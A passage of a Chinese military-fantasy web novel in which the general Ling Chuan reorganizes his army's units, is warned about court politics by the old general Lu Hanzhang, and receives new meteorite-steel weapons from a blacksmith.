他目光落在那个如山岳般沉稳的身影上:“玄甲营都尉一职,由唐岿然担任!” “末将领命!”唐岿然豁然起身,抱拳领命,声如洪钟。 即便以他的沉稳,此刻脸上也难掩激动之色,这是绝对的信任与重托。 紧接着,凌川又补充道:“原武曲县校尉,由松阳县副校尉晁远山担任!” “遵命!”晁远山起身回答。 然而,此令一出,堂内不少将领面色变得有些微妙,目光悄然瞥向了另一侧的赵襄。 谁都知道,赵襄乃是云州军旧部中重骑兵都尉,云州重骑一直由他执掌。 凌川此举,无疑是将最精锐的重骑力量交给了自己的心腹,赵襄甚至连副都尉的位置都没捞到。 凌川并未理会堂下的细微波动,目光沉静如水,继续以不容置疑的声调宣布:“其二!原云州八千轻骑兵,悉数扩编至一万人!新立营号——‘雁翎骑’!授青天白日战旗!都尉一职,由柳衡担任!” 他话语微顿,目光转向另一侧,清晰地说道:“江来,出任雁翎骑副都尉,辅佐柳衡统辖雁翎骑!” “末将遵命!”柳衡与江来同时应声而起,抱拳领命。 柳衡本就是轻骑系统出身,此次得以执掌扩编后的万人轻骑,虽是重任,却也顺理成章,故其神色虽肃然,却并无太多意外。 而一旁的江来,此刻心中却是波涛汹涌,五味杂陈。 他本是卢恽筹大将军安插入云州军中的耳目,任务便是监视凌川的一举一动。 虽说是奉上命而行,但数月相处,凌川的文韬武略、品质德行,早已让他心生折服,那‘监视’之责于他而言,渐成一种难以言说的负累与背叛,日夜煎熬其心。 他心知肚明,凌川必然早已知晓他与程砚的这层身份,然而凌川却从未因此将他们投闲置散,或安置于无关紧要的职位上冷眼相待。 即便前不久大将军剪断了他们这两条线,明令他们不再传递消息,安心追随凌川建功立业。 可江来心里清楚,按常理来说,凌川能容下他们已是宽宏,岂敢再奢望重用? 然而,凌川非但没有疏远防范,反而在此军制调整的关键时刻,将雁翎骑副都尉如此重要的军职授予他!这绝非虚衔,而是手握实权、统领数千轻骑的要位。 这份毫无保留的信任,让他的内心无以言表,一股滚烫的感激之情自心底喷涌而出,几乎令他喉头哽咽。 他立刻深吸一口气,将翻腾的情绪死死压下,唯有那抱拳领命的手臂,因用力而显得格外僵硬,眼中闪过一抹混合着震撼、羞愧与决然效死的复杂光芒。 “其三!”凌川目光转向斥候出身的斥候,“原云州斥候营一千精锐,扩编至三千人!授新营号——‘夜枭营’!执掌玄夜银羽旗!陈谓行任都尉!纪天禄任副都尉!” “末将领命!”陈谓行起身,声音中带着一丝压抑不住的激动。 他很是诧异,毕竟,就在半个月前,凌川于高平县才将纪天禄的斥候小队并入斥候营,短短半个月,竟然再次对斥候营做出这么大的调整。 事实上,凌川原本想着,等过段时间再调整编制问题,可正是在高平县调整斥候营的编制,让凌川意识到,此事不能再拖了。 此外,凌川还将亲兵营扩充到一千人,这也是各州主将和副将的标配,如今,随着事务不断增加,仅靠原本的五十亲兵根本忙不过来。 此前,程砚已经多次建议,却被凌川压了下来,因为当时各处大营正在紧锣密鼓地训练。 关于亲兵选拔的事情,凌川依然是交给苍蝇、沈珏和孟钊三人去做,他们心里清楚需要选什么样的人。 一连串的任命如巨石投湖,激起层层波澜。 而就在众人心思各异之际,凌川说出了最后一项安排:“最后剩余两万云州步卒,由程千韧统领,赵襄出任副将,辅佐程将军,统辖步军!” 此言一出,堂内原本有些紧绷的气氛,瞬间缓和了许多。 一些心思敏锐的将领立刻品出了其中的意味,赵襄虽未执掌最核心的骑兵,但却被赋予了副将之职,地位实则并未下降,反而在步军系统中获得了实权。 这显然是一种平衡与安抚,也体现了凌川用人的老练,既大力提拔能臣干将,也并未完全冷落旧部中有能力者,人尽其才,各安其位。 接下来,凌川又对一应边防细务做了周密布置。 整体防务格局虽未大变,他却以犀利的眼光,精准点出了几处看似细微、实则致命的疏漏与软肋。 这些瑕疵平日或不起眼,但凌川深谙千里之堤,溃于蚁穴之理。一旦烽烟骤起,这些被忽视的薄弱之处若为敌所乘,其害必将被急剧放大,甚至成为倾覆战局的关键。 他严令各关隘守将限期修补完善,并将其列为日后巡边督查的重中之重。 紧接着,他再度严申高平县新营及粮仓,必于三月之内必须完工,他一开始便决定将此处打造为云州军第二大营,屯兵、辎重、军械、粮秣于一体的边陲重镇。 一旦边陲有警,云州军主力便可自此疾出,毋需仰赖漫长之后方输馈,此乃关乎战略主动之要务,绝容不得半分耽搁! 一旦开战,云州大营乃至将军府都将落地于此。 随后,议至练兵的方略。 此前所练,重在统一整饬全军纪律、打磨体魄、鼓舞士气,可谓铸其形魂。而今各营已重新划分,操练便须向专精深处推进。 重骑玄甲营专攻集群冲阵之毁伤力,锤炼长枪和马槊等重兵运用、密集墙式冲锋阵型之持守与变幻、乃至承受敌方猛攻而阵脚不溃之韧劲。 雁翎骑则极重驰骋骑射之技、迂回夹击之术、借马速之优扰敌、追击、窥探之能。 步卒操演之重头,在于坚城守备之法,此外,更是要着重对五行锥阵的运用,除了五人小队的配合之外,还得加强对诸多五人小队组合成大阵的训练运用。 第一卷 第328章 选卒要义! 此类操典大纲,早于云岚县时凌川亲手拟定并验明实效,今已推行各县军营,各级将领只需按部就班即可。 可随着扩编,势必从现有步军及各营简拔锐卒,玄甲、雁翎需增补大量战兵,夜枭营亦须募足两千之数。 此事牵动各县军官的切身利益,毕竟没有人愿将麾下精心栽培的精兵悍卒拱手让人,此乃常情,甚至有可能引发新营之间争夺精锐的纷争。 对此,凌川早已拟定条令,以防出现变故。 其一,三营不得抽选现任标长及以上的底层军官,以维基层统御之稳固。若有特例必须调动者,必呈报将军府,由凌川亲裁定夺,标长以下的士卒若被选走,需无条件放人。 其二,依各营特性,甄选标准各有侧重。 玄甲营选卒,首重体魄与膂力,应选肩宽胸阔,骨壮筋强,能负数十斤重甲而行动自若,具超常之耐力与爆发力。 只因玄甲营在战场上的使命乃是以泰山压顶之势正面摧垮敌阵,个人悍勇与负重冲杀之能为第一要义。 雁翎骑选卒,则极端侧重骑射之才与迅捷灵动,骑射之术乃是选拔的第一指标,于奔马疾驰之际犹能开弓放箭且矢矢精准。 轻矫、敏慧、以及对距离速度之精妙把握,乃其核心之选。 夜枭营之遴选,表面无形体苛求,实则标准最为繁难、苛刻。 一名合格的夜枭斥候,骑射、近战只是最基本的能力,更须精通各种地形的侦伺、踪迹辨查、舆图勘绘、军情判读,熟谙潜伏伪装、无声渗透、一击必杀之技。 加之斥候多是小队或孤身深入敌境,故必得有过人之机警、沉静之心智、临危决断之魄力与坚韧之素质。 此外,还须择通晓敌国言语、风俗、文化者加以特训。凌川坦言,一名顶尖斥候,在非常时期可以直接充任校尉,领一营兵力。 最后,于战马分配此等要务,凌川亦做出了极具针对性的安排: 体高硕健、冲驰爆发力绝伦的大宛马,除配予校尉及以上将领为坐骑外,优先保障玄甲营重骑之需,以确保冲锋陷阵时有万钧之势。 而体态精干,以速度和耐力著称的草原马,则主要配给雁翎骑,正合其轻装迅捷、长途奔袭、游扰侵袭的征战特点。 议事既毕,时已近暮。 凌川早命人在风雪楼订下五桌筵席,将军府距酒楼不远,无论策马或是步行,皆只需片刻。 赵襄正欲牵马前往,却见参军程砚缓步近前,含笑拱手道:“赵都尉,此去风雪楼不远,不如你我二人走过去?” 赵襄外形虽粗豪,却非鲁钝之辈,立时心领神会,这位参军大人是有话欲私下相谈。 当即应道:“程参军所言极是,对末将而言与大人相处更是难得!” 二人遂并肩缓步于长街之上,程砚率先开口,语气温和:“观都尉眉宇间似有郁结之色,可是为今日军中职司调动之事?” 赵襄侧目看他,默然未答,然其神色已然默认,他本是云州重骑都尉,掌精锐铁骑,如今却被调至步军任副职。 虽说步军人数众多,然其威势与军中地位,岂能与冠绝诸军的重骑相提并论?心中若说毫无芥蒂,实是自欺欺人。 尤其接任者乃是凌将军自死字营中带出的心腹爱将唐岿然,面对如此安排,他纵有千般思绪,亦只能无奈接受。 细论起来,他坐上这重骑都尉之位也才数月光景。全因前任都尉被催行俭带至靖州,他这副职才得以擢升。 都尉与副都尉虽品级无异,然手中权柄却是天壤之别,自己终究是没能坐稳那都尉的位置,于渴望建功立业的军中男儿而言,自是打击,亦不免忧虑前程。 正当他思绪翻涌之际,程砚再度开口,声音平稳却带着一丝深意:“都尉或许,误会将军了!” 赵襄闻言一怔,愕然道:“程大人此话何意?” 程砚淡然一笑,缓言道:“此番将你调至步军任副都尉,实非将军本意,乃是程老都尉亲自向将军举荐的你!” 赵襄神色骤变,并非不信,实在是太过惊诧。 程千韧老都尉乃是他军旅生涯的引路人,一手将他提拔起来,虽如今职位相当,赵襄对这位老伍长的敬重却未曾稍减。 他只是万没想到,竟是老都尉主动举荐他离开重骑。 程砚观其面色,已知其惑,遂解释道:“程老都尉年事已高,加之早年征战,周身旧伤累累,本已向将军呈情,欲请辞归养。然将军惜才,更是忧心云州步卒之未来,如今军中将领虽多为锐意进取的少壮之辈,然能精通步战、威望能力皆足以统领两万之众者,实难其选。若此时再由将军嫡系死字营将领出掌步军,难免惹人议论,徒增纷扰。” 他看向赵襄,目光诚恳:“思虑再三,唯都尉与柳衡将军可当此任,而程老都尉更是竭力保举都尉你,称你沉稳练达、深谙步骑协同之要,乃是最佳人选。将军深思熟虑后,方有此决断!” 赵襄依旧沉默,然心中块垒已消,先前那点怨气早已化为丝丝缕缕的惭愧与动容。 程砚复又低声言道:“若所料不差,这一两年内,程老都尉便会退至幕后,届时,这两万云州步卒的重担,必将尽数托付于都尉之肩。赵都尉,任重而道远啊!” 赵襄长叹一声,面露赧然之色:“唉!说来惭愧,末将竟以小人之心度君子之腹,着实误会了将军与老都尉的深意!改日必当亲至将军府与老都尉处,负荆请罪!” 事实上,若是凌川提前与他言明,他定会同意,虽说重骑都尉含金量更高,但他也绝非是缺少格局之人。 程砚却摆手道:“都尉心中有数便好,你的忠勇,将军岂会不知?若非深信都尉之能,将军又岂会在动身返回神都之前,做此关乎云州根基的重要安排?” 赵襄重重颔首,胸中暖流涌动,再无半分郁结,唯有沉甸甸的责任与誓死效命的决心。 风雪楼宴席,自是宾主尽欢。 诸多久未谋面的旧部同袍相聚,言笑晏晏,酒至酣处,不免碗盏交错,气氛热烈。 第一卷 第329章 化解心结! 这一次,风雪楼掌柜王夫人并未现身,全程都是店里面的伙计在招呼大家,不过,今晚风雪楼除了他们这几桌人之外,并无其他宾客,显然是提前打过招呼。 席间,江来与程砚二人终是端酒至凌川面前敬酒。 二人并未多言,只将酒碗高举,一切尽在不言中。 凌川爽朗一笑,与二人对饮一碗。 随即目光扫过二人,语意深长道:“你二人是大将军钦点给我的左膀右臂,一文一武皆是我云州军中的栋梁,我凌川虽不敢自诩知人善用,但也绝非心胸狭隘之人,往后诸多事务还得仰仗你二人!” 这番话语,表面是勉励抬举,却特意点出‘卢帅亲点’四字,其间深意,二人自然心领神会。 而后半句更是明白无误地告知二人,过往之事已如云烟,他凌川绝不会因此心存芥蒂,日后必当一视同仁,委以重任。 二人眼眶通红,对凌川行了一礼,“必不负将军信任!” 不多时,已经喝得满脸通红的赵襄也起身走了过来。 他牢记程砚之前的话,什么都没说,只是跟其他人一样,敬了凌川一碗酒。 凌川观其神色,自然知道他已明白此番调动背后的深意。 …… 数日后清晨,凌川正与苏璃对坐用着早膳,沈珏轻步走入厅内,低声禀道:“将军,陆老将军回云州了!” 凌川闻言,手中竹箸微顿,脸上掠过一丝讶异。 这位名义上的云州主将陆含章,自数月前大战落幕后,便前往飞龙城节度府,一直滞留未归。 凌川心里清楚,陆老将军此举,实则是将云州军务全盘托付于自己,若他坐镇云州,自己行事难免多有掣肘。 念及这份毫无保留的信任,凌川心中不禁涌起一股暖流。 同样,他此刻归来之缘由,凌川亦能揣测几分。 绝非如外界小人所忖度的那般,是见云州局势已定,便来摘取现成功劳。 恰恰相反,陆老将军必是知晓自己不久后将返神都,云州需有一位资历深厚、威望足以服众的人物坐镇。 程千韧虽在云州旧部中资历足够,然威望与地位尚显不足,而陆老将军这位正牌云州主将,无疑是不二人选。 只是他久未现身,加之凌川近来雷厉风行,动作频频,以致于许多人在潜意识中,竟渐渐淡忘了这位云州军真正的一军之主。 然则,淡忘绝非等于遗忘,更不等于轻视。 莫说是云州一军,即便是放眼整个北境七州,又有几人敢轻视这位看似闲散、实则威望极高的年迈老将? 且不说如今军中如薛镇锷、杨烬旗等一众骁将皆曾是其麾下旧部,其子陆沉锋更是北系军中公认的下一任主帅的不二人选。 即便是北系军主帅兼节度使的卢恽筹见了他,亦要谦让三分,礼遇有加,每逢节度府军议,他必坐于卢帅身侧,仅此一位,便足见其超然地位。 闻听陆老将军归来,凌川心中一块大石悄然落地,有他坐镇云州,自己便可无后顾之忧,安心返回神都。 “老将军何时回来的?”凌川放下竹箸问道。 “听闻是昨日傍晚轻车简从入的城!”沈珏恭敬回道,“并未惊动旁人,直接就住回了云媆湖畔的那处小院。” “备几样合用的礼品,点两个人,随我去云媆湖拜见老将军。”凌川当即吩咐。 “是!”沈珏领命而去。凌川匆匆将碗中饭食用完,稍事整理衣冠,便起身出门。 云媆湖位于云州城南不足十里,是一片阔达十余里的清澈湖泊,在这干旱少雨的北境之地显得尤为珍贵,湖水滋养着周遭的土地,云州城方圆数十里的农田灌溉多仰赖于此。 凌川此行仅带了沈珏与两名亲卫,轻装简从,如今他的大部分亲卫都已被苍蝇、孟钊带往各地,为扩充亲兵卫队遴选人手。 四骑沿湖畔小径行进不久,便见一座清净小院孤零零地伫立水畔,颇有几分遗世独立之感。 陆老将军虽贵为云州主将,身边却仅有两位老卒随侍。 此二人皆是早年追随他征战的云州军旧部,因伤残退役后,无家无口,无所依归,老将军便一直将他们留在身边。 一人失了一臂,权充车夫;另一人腿脚不便,便留在这院中照料起居,说是照顾实则更像是三位老人彼此相依相伴。 还未近前,凌川便望见湖边那座略显古旧的木质钓台上,一道身影正悠闲地躺在一张竹制躺椅上。 若非偶有缕缕青烟自其唇边升起,凌川几乎要以为老者已然酣睡。 凌川翻身下马,对沈珏低声道:“你们将东西送入屋内,我过去拜见老将军!” 沈珏点头应下,遂与两名亲兵提着备好的两坛烈性狼血酒并一些新鲜鸡鸭,向小院行去。 凌川则缓步走向钓台,这木台显然有些年头了,踩上去吱呀作响,微微晃动,令人不免担心其是否牢固。 “老将军!”凌川走近,蹲下身笑道,“今日收获如何?可钓得几尾鲜鱼?” 陆含章微微抬起眼皮,睨了他一眼,随即将头扭到一边。 “biu……” “早知道你小子顺着风就该来了!”老人嘬了口烟嘴,咧嘴一笑,露出被烟熏得微黄的牙齿,“老夫一大清早就来这儿守着,中午能否添道菜,全看老天爷赏不赏脸喽!” 凌川顺着他的目光望向湖面,只见一截紫竹钓竿正孤零零地漂在远处水面上,缓缓朝湖心荡去。 他收回目光,看向老将军,语气带着几分调侃:“老将军,依属下看,今日这鱼宴,怕是悬了。” “呸呸呸!少触老夫霉头!”陆含章闻言,立刻吹胡子瞪眼地制止。 凌川笑意更深:“属下幼时曾闻,古有贤者以直钩垂钓,虽未得鱼,却为王朝钓来了八百年江山社稷,可如老将军这般,钓鱼连竿都不用的,当真是闻所未闻,见所未见呐!” 陆含章闻言一怔,下意识地朝手边一看,方才还倚在台边的钓竿,此刻果然不见了踪影。 再抬头望向湖面,那根宝贝竹竿已漂出更远,在湖心微波中载沉载浮。 老人怔怔地看了半晌,才从口中飚出一摊口水:“biu……” 第一卷 第330章 最大的世家,是皇族! “妈拉个巴子……”他收回目光,拍了拍大腿,叹道,“看来晌午只能请你喝盏寡淡的清茶了!” 凌川却笑道,“属下倒觉得,这未必全是坏事。” “嗯?”陆含章斜眼看他,“此话怎讲?” “属下以往常听人说,老将军在此垂钓,十回有九回是空手而返。今日至少印证了,这云媆湖中至少是有鱼的!”凌川一本正经地解释道。 陆含章先是一愣,待反应过来这小子是在拐着弯打趣自己,顿时哭笑不得,举起手中的烟袋锅作势便要敲他:“好你个滑头小子!竟敢拿老夫寻开心!” 凌川笑着并未躲闪,结结实实让那温热的烟锅在脑门上轻轻磕了一下。 陆含章并未起身,依旧稳坐于摇椅之中,目光却如实质般落在凌川身上,仿佛要将他看透。 “几个月没回来,这云州的风跟以往都不一样了。老夫当时,果真没走眼!” 凌川谦逊一笑,道:“全仰仗老将军鼎力相助,否则,小子我能否在云州立足,尚是未知之数。” “哼……”陆含章鼻腔里哼出两声,吐出一口烟圈,“你小子哪儿都好,就是这假模假式的谦虚,忒不实在!老夫平生最瞧不上的,便是这等虚礼!” 他嘬了两口烟嘴,烟雾缭绕中,看似随意地问道:“打算何时动身?” 凌川知他问的是前往神都行程,答道:“已安排妥当,预计数日后便起程。” “神都那潭水,深不见底呐,你小子可得把招子放亮些!”陆含章语气平淡,却字字千钧。 他微微眯起眼,眸中精光隐现:“此番为你举办的所谓授封大典,背后牵扯的藤蔓,远比你想象的更为盘根错节,不仅是各方势力角力的棋盘,更是龙椅上那位,对天下的一次落子试探!” 凌川神色一凛:“试探?试探何人?” “试探满朝朱紫,试探世家豪门,试探各地藩王,自然,也包括你这样手握兵权、坐镇边陲的将领!”陆含章的声音低沉而平稳,却带着洞察世事的沧桑。 “若你三个月前返京,你代表的是军中新锐,是北系军未来的将星。那时的你,是陛下眼中值得栽培的帝国栋梁,神都里的世家权贵、文武百官,纵不能拉拢,也必会对你示好结交!” 他顿了顿,目光扫过凌川,似在观察他的反应,继续道:“可惜,你以雷霆手段,将云州本地的门阀连根拔起,虽说这些北地豪强根基尚浅,远不能与中原那些绵延数百年的真正世家、以及与国同在的天潢贵胄相比。但你这一刀,砍的不仅是云州几家姓,更是向天下所有的上层势力递出战书。在他们眼中,你已非新贵,而是必须除之而后快的异数与死敌!” 凌川眉头微蹙:“老将军也认为,我此举错了?” “这世间,只有那未明事理的稚童才整日争辩对错!”陆含章嗤笑一声,烟袋锅轻轻磕了磕椅背,“成人的世道里,唯有利益的权衡与交换,以及力量的博弈与制衡。你选的这条路,注定荆棘密布,举目皆敌。因为你所做的,是在动摇千百年来固有的规矩,而你所能依仗的百姓,在他们眼中,不过是沉默的蝼蚁,难以成为你即时可用的助力!” 凌川默然点头,这一点他何尝不知。 陆含章吧嗒着旱烟,话锋却又微微一转:“不过,你也无需灰心,此路虽艰,却并非天下乌鸦一般黑。庙堂之高,江湖之远,并非所有人都会下场与你为敌,他们或许冷眼旁观,或许……会站在更高处审视着你,想看看你这把突然闯入棋局的快刀,究竟能劈开多少迷雾,看看你这枚过河卒,又能走到哪一步!” “同样,那些真正树大根深的顶级门阀,短期内未必会亲自下场,自降身份与你过招,但会有无数渴望借此攀附权贵的小角色,争先恐后地跳出来充当马前卒。老夫可以肯定,自你踏出北境那一刻起,明枪暗箭便会接踵而至。相比起那些稳坐钓鱼台、还想看看你能走出多远的大人物,更多的人,根本不会让你活着走到神都!” 他抬起眼皮,目光变得前所未有的深邃和凝重,缓缓说道:“甚至于,龙椅上那位陛下,此刻对你的态度,是否还与三个月前一般无二,都得两说!”陆含章他刻意停顿,用前所未有的郑重语气道:“你要明白,这普天之下,最庞大、最根深蒂固的那个‘世家’,恰恰就是皇家自身!” 此言一出,宛如一道冰冷刺骨的惊雷,瞬间劈开凌川所有的侥幸与模糊认知。 他并非完全没有想过这一点,但却从未如此清晰、如此残酷地将皇权直接置于假想敌的位置上。 是啊!对于帝王而言,若真有那么一天,自己铲除了所有世家门阀,那下一步,这把锋利的刀,又该指向何方?兔死狗烹,鸟尽弓藏…… 霎时间,一股寒意自凌川脚底直袭脊椎,最终冲向天灵盖,冷汗悄无声息地浸透了内衫。 “biu……” 陆含章的一滩口水打破了几乎凝滞的沉重气氛,也将凌川从冰冷的思绪中拉回现实。 他缓缓站起身,拍了拍衣袍,恢复了那副懒散的模样:“安心去你的神都吧!云州这摊子,有老夫看着,出不了岔子!” “多谢老将军!”凌川深吸一口气,郑重抱拳行礼。 随后,他跟随陆含章走向那座清雅的小院。 只见沈珏正手忙脚乱地与一名瘸腿老卒合力宰鸡,两名亲兵则蹲在一旁,笨拙地给鸭子拔毛,场面颇有些狼狈。 “哟嗬!”陆含章见状,不由得笑出声来,“看来今日老夫是有口福了!” 凌川摇头失笑,深知沈珏这几人战场上是以一当十的好手,但于庖厨之事却堪称灾难,吃了不闹肚子便是万幸。 凌川当即卷起袖子:“还是末将来吧!” 厨房里,一名独臂老卒正安静地坐在灶前烧火,凌川恭敬地唤了声老伍长,老者抬头,脸上纵横的伤疤挤出一丝温和的笑意,点了点头。 约莫一个时辰后,诱人的香气弥漫了整个小院,一盆热气腾腾的小鸡炖蘑菇,一锅奶白鲜香的老鸭汤,外加几碟清爽时蔬小菜被端上桌。 香气勾人,连一向懒散的陆含章也忍不住凑近前来,啧啧称奇:“早听闻你小子手艺非凡,今日总算能一饱口福了!”看着桌上色香味俱全的菜肴,老人眼中难得地露出了期待的光芒。 凌川本安排沈珏三人另坐一桌,却被陆含章大手一挥打断:“在我这儿,没那些讲究!就这一张桌子,一块吃!” 第一卷 第331章 破殇锋! 自云媆湖离开之后,凌川并未回将军府,而是径直去往云州大营。 进入大营,便听到闷雷一般的马蹄声,那是唐岿然在带着玄甲营重骑操练,如今,他接手云州重骑之后,便一直留在大营之中,武曲县的事务全部由晁远山接手。 晁远山本就是死字营中的老人,能力和忠诚度都完全不用担心。 凌川没有打扰唐岿然,而是径直来到军械司。 听闻凌川到来,庾朔第一时间赶了过来,凌川简单询问了一下各项进度便让他去忙了。 来到杨铁匠的专用的那锻造房,只见他正蹲坐在那里磨剑,见凌川进来,只是淡淡瞥了一眼,说道:“你小子,现在是越来越没规矩了,来我这儿连酒都不带了是吧?” 凌川嘿嘿一笑,道:“今日走得匆忙,以后我让人每月按时把酒给你送过来!” “那还差不多!” 凌川走到跟前,看向他手中那把长剑在磨石上来回磨动,发出哗哗声响。 虽然这还只是一把剑胚,但其造型古朴大气,剑身呈淡金色,并不似想象中那么金光耀眼,但却透着一抹贵气。 这自然是用凌川从李家仓库中得来的那块赤络星陨锻造而成。 忽然,凌川眼睛一眯,只感觉被刺痛了一下,定睛看去,发现杨铁匠每磨动一下剑胚,磨剑石上便会绽放出一道刺目寒芒,虽然只是一闪而逝,却让凌川双目刺痛,甚至能察觉到一丝丝的寒意朝自己袭来。 正当凌川准备进一步摸清真相的时候,杨铁匠却忽然停下了手上的动作。 霎时间,周围紧绷而寒冷的气息瞬间溃散,凌川更是下意识松了一口气。 只见杨铁匠起身,不声不响地走进屋内,很快便拿着两样物件走了出来。 一把刀,一杆枪! “你小子交代的事情,老夫可算是帮你搞定了!”杨铁匠把刀枪放到铁桌上,与桌面碰撞,发出铿锵之声。 凌川迫不及待地拿起战刀,样式与尺寸都与他所用的苍生刀无异,不过入手却沉重了不少。 “唰!” 凌川拔出战刀,霎时间,一道淡金色寒芒迸射而出,与之一同散发出来的,还有犀利寒意。 凌川伸出两根手指敲击在刀身之上,顿时发出一声颤鸣,经久不绝。 “好刀!”凌川满脸激动,赞叹道。 杨铁匠则是白了他一眼,说道:“废话,就你这把刀,老夫可是花了整整二十天!” “二十天?”凌川顿时一惊,他知道赤络星陨的锻造难度有多高,若非自己支招,饶是杨铁匠也很难将矿石融开,但二十天未免也太夸张了。 杨铁匠拿起酒葫芦往嘴里灌了一口,说道:“那不然你以为呢?你知不知道老夫把剑胚折叠锻打了多少次?” “多少次?”凌川问道。 “三十六次!” 听到这个数字,饶是凌川也不由得为之一惊,因为他很清楚,反复折叠三十六次是一个什么概念。 现在用的这把刀,是当初在狼烽口的时候,杨铁匠按照他的要求,反复折叠了十五次,一般的战刀根本不是其对手,而这把却折叠了三十六次,而且,还是如此坚硬的赤络星陨。 难怪需要用二十天了,想来,以赤络星陨的硬度,若是折叠次数不够,战刀的韧性也很难达到要求。 看杨铁匠的样子,凌川心知,自己但凡要说半个不好,他会当场把刀夺过去,然后顺势一刀劈了自己。 凌川将战刀拿在手中反复打量,只见淡金色的刀身之上,一条条赤红色脉络若隐若现,宛如人的血脉一样密布于刀身之上,平添了几分神秘之气。 当时,仅从那块陨矿来看还不觉得,现在锻造成战刀,那赤色脉络愈发明显。 凌川从一旁选出一把制式苍生刀平放在桌上,半截刀身悬在桌面之外,随即举起手中的战刀猛然斩下。 “叮……” 伴随一道金铁交鸣声,那把苍生刀直接被斩断,断口光洁整齐。 更让他难以置信的是,桌上那半截战刀依旧躺在那里不曾被震飞,仿佛,刚刚被切断的只是一条黄瓜,这让凌川当场惊讶得说不出话来。 要知道,这些制式苍生刀虽无法与他之前用的那把相比,但凌川也严格要求,需反复折叠十次,与大周鼎盛时期的百炼刀相比也要略胜一筹,哪怕是对上胡羯的弯刀同样能占据上风。 然而,就是这样一把刀,却被这把用赤络星陨锻造的战刀‘切’成了两截,着实让凌川难以置信。 正常情况下,能切开鸡蛋大的木棍而不将其震飞,锋利程度就已经很惊人了,更何况是切开一把战刀。 凌川举起手中战刀,只见那泛着金光的刀刃完好无损,甚至看不到半点印记。 此乃真正的神兵利器!吹毛断发,削铁如泥! 他强压心中激动,还刀入鞘,郑重放在一旁,转而捧起那杆长枪。 枪长九尺九寸,枪杆乃百炼精铁所铸,通体呈现暗哑的亮银色,上面精心錾刻着细密层叠的龙鳞纹路,既增握持之稳,又显华美尊贵。 枪头形制狭长锐利,闪烁着与战刀同源的暗金寒芒。 枪刃中脊高耸,两侧刃口被打磨得极为锋利,寒光流转,其上那赤色血脉般的纹路也更为清晰张扬,使得整个枪头看上去宛如一头怒龙。 杨铁匠告诉他,此枪重四十九斤,对他而言略沉,但那份沉甸甸的质感却仿佛让他看到了驰骋沙场,一枪刺穿敌人的画面。 “此枪于你,或许沉重了些!”杨铁匠在一旁开口道,“本欲以韧木为杆,奈何枪头过沉,挥舞起来如同重锤,失了灵性,不得已全用精铁打造,重心在前,破甲摧坚,无往不利!” “重点无妨,我自己适应一段时间即可!”凌川双手一振,挽了个枪花,随即吐气开声,一枪疾刺而出。 “噗……” 枪尖轻易便洞穿了那面厚实的铁盾,如同刺穿一层薄纸。 “杨师傅,这两件神兵皆出自你手,刀还是叫苍生,枪的名字就由你来起吧!”凌川激动地说道。 “枪锋所指,裂甲破盾、断魂殇神,就叫它——破殇锋!” 第一卷 第332章 龙牙,凤翅! 破伤风? 凌川面露古怪之色,不过既然是杨铁匠起的名字,也就坦然接受了,而且,看到淡金色枪头上那一条条赤色纹络,确实像是斑斑锈迹。 “哈哈,多谢杨师傅,这两件兵器,我很满意!”凌川激动地说道。 “不满意也就这样了!”杨铁匠说完,又进屋取出两把匕首交给凌川,说道:“顺手用边角料打了两把小玩意,就当送你的搭头!” 凌川接过一看,竟是两柄精致绝伦的匕首。 同样以赤络星陨打造,一柄造型如怒龙探爪,刃身微弧,龙首为格,龙尾为柄,鳞甲细微之处清晰可见,栩栩如生。 另一柄则如凤凰展翅,刃体纤长优雅,护手处巧妙化作羽翼形态,柄身纹路似翎羽层叠,华美而致命。 相比起破殇锋,这两把匕首明显要精美得多,与其说是兵器,更像是两件艺术品。 “杨师傅,想不到你竟然还有这等精雕细琢的手艺!”凌川赞叹道。 杨铁匠摆了摆手:“我哪会这些华而不实的东西,这样式是墨巡设计的,他还给这俩玩意起了个名字!” “叫什么?”凌川好奇问道。 杨铁匠指了指他手中的匕首,说道:“刀柄上不刻着的吗?” 凌川翻转刀柄一看,果然刻着两个篆文——龙牙,另一把则是刻着凤翅二字。 对这两个名字,杨铁匠没做任何点评,而是转身回到那块三尺见方的磨剑石跟前,开始磨他的那把剑。 凌川知道,杨铁匠一直有个执念,那就是想铸一把真正的绝世神剑,弥补大江的遗憾。 这也是为何得知自己找到一块赤络星陨的时候,便主动到将军府找自己的原因。 凌川走到旁边的凳子上坐下,说道:“杨师傅,跟你商量个事呗!” “有屁快放!”杨铁匠不耐烦地说道。 凌川正了正身形,说道:“过几天我就要动身去神都了,看在你为我锻造神兵如此辛苦,想带你去神都去玩一趟!” 杨铁匠停下手上的动作,看了他一眼,说道:“小子,老夫给你一次重新开口的机会!” 凌川心知瞒不过对方,尴尬笑道:“嘿嘿……我此去神都杀机重重,肯定有很多人想要摘我这颗脑袋,所以,想请你这位剑神出山,护我周全!” “不去……” 杨铁匠回答得很果决,不带丝毫犹豫。 “杨剑神,你就当帮我个忙咯,你有什么要求尽管提,我一定满足你!”凌川开始死缠烂打。 他深知此行危险,卢恽筹和陆含章都曾提醒过他,甚至就连廷尉府的那尊活阎罗都曾暗示过他。 所以,凌川很早之前就决定,此行一定要带上杨铁匠这位曾经横压半座江湖的剑神。 然而,任由他各种利诱,各种许诺,杨铁匠依旧不为所动,只是埋头磨着自己的剑。 凌川眼珠一转,改变策略,故意咂咂嘴:“啧…杨老头,您这剑压半座江湖的名头…该不会是喝大了自己吹捧出来的吧?是不是怕到了卧虎藏龙的神都,万一遇到硬茬子,折了您老的威风?” 沉默……只有磨石摩擦剑坯的单调声响。 “还是说……”凌川压低声音,“神都有您不敢见的人?或者……欠了谁的风流债,怕见人家?” 磨剑的声音极其细微地顿了一下,几乎难以察觉,但又立刻接上,仿佛只是片刻的走神。 凌川心里微微一动,似乎摸到了一点边。 他叹了口气,语气变得萧索落寞:“罢了,看来是我强人所难了,各人有各人的缘法,各人有各人的坎,杨老头,你多保重。万一我这趟折在了神都,回不来了…答应你的酒,照旧月月准时给您送到。” 凌川拿起刀枪,径直走了出去,那背影透着几分苍凉与决绝。 就在凌川离开之后,杨铁匠嘴角露出一抹笑意,“臭小子,在我面前玩这一套,你还太嫩了!” 说完,他抬起两道目光,仿佛要穿透土墙,看向南方那座遥远而巍峨的千年古都。 眼神中没有平日的沧桑浑浊,也看不到半点犀利与霸气,只有无尽的悲伤与思念。 “秀儿,这么多年不见,恐怕我现在的样子,你都认不出来了……”杨斗重用只有他自己能听见的嘶哑声音喃喃道。 杨斗重内心那尘封许久的记忆仿佛被唤醒。 